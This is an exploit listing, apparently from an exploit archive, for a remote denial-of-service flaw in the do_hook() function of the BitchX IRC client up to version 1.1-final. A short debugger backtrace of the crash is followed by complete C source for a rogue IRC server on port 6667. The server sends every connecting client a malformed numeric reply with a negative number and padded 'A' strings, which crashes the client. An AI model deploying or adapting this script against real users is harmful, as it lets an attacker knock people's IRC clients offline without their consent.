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BitchX <= 1.1-final do_hook() Remote Denial of Service Exploit
============================================================== BitchX <= 1.1-final do_hook() Remote Denial of Service Exploit ============================================================== // BitchX (epic) =<1.1-final | do_hook() Boundary Check Error Remote DoS ///////////////////////////////////////////////////////////////////////// // Federico L. Bossi Bonin // fbossi<at>netcomm<dot>com<dot>ar // #0 0x080a3fcc in BX_do_hook (which=9999999, format=0x8119077 "%s %s") at hook.c:865 // #1 0x080d013b in numbered_command (from=0xbfbfe031 'A' <repeats 200 times>, // comm=-9999999, ArgList=0xbfbfd788) at numbers.c:1413 // #2 0x080d7d02 in parse_server (orig_line=0xbfbfe030 ":", 'A' <repeats 199 times>...) at parse.c:1912 // #3 0x080de3c2 in do_server (rd=0xbfbfe8a0, wr=0xbfbfe880) at server.c:584 // #4 0x080b030f in BX_io (what=0x810b85a "main") at irc.c:1319 // #5 0x080b09da in main (argc=6, argv=0xbfbfe9d4, envp=0xbfbfe9f0) at irc.c:1687 // #6 0x0804aec2 in ___start () //greats to nitr0us, beck, gruba, samelat, ran, etc.. #include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #define PORT 6667 #define LEN 100 int intalign=-999; //use negative number void sendbuff(int sock) { char ptr[LEN]; char buffer[2048]; bzero(ptr,LEN); bzero(buffer,2048); memset(ptr,0x41,sizeof(ptr)-1); sprintf(buffer,":%s %i %s %s\n",ptr,intalign,ptr,ptr); write(sock,buffer,sizeof(buffer)); } int main() { struct sockaddr_in srv_addr, client; int len,pid,sockfd,sock; sockfd = socket(AF_INET, SOCK_STREAM, 0); if (sockfd < 0) { perror("error socket()"); exit(1); } bzero((char *) &srv_addr, sizeof(srv_addr)); srv_addr.sin_family = AF_INET; srv_addr.sin_addr.s_addr = INADDR_ANY; srv_addr.sin_port = htons(PORT); if (bind(sockfd, (struct sockaddr *) &srv_addr,sizeof(srv_addr)) < 0) { perror("error bind()"); exit(1); } printf("BitchX (epic) =<1.1-final | do_hook() Boundary Check Error Remote DoS\n"); printf("====================================================================\n"); printf("Listening on port %i\n",PORT); listen(sockfd,5); len = sizeof(client); while (1) { sock = accept(sockfd, (struct sockaddr *) &client, &len); if (sock < 0) { perror("error accept()"); exit(1); } pid = fork(); if (pid < 0) { perror("fork()"); exit(1); } if (pid == 0) { close(sockfd); printf("Conection from %s\n",inet_ntoa(client.sin_addr)); sendbuff(sock); exit(0); } else close(sock); } return 0; } # 0day.today [2024-12-24] #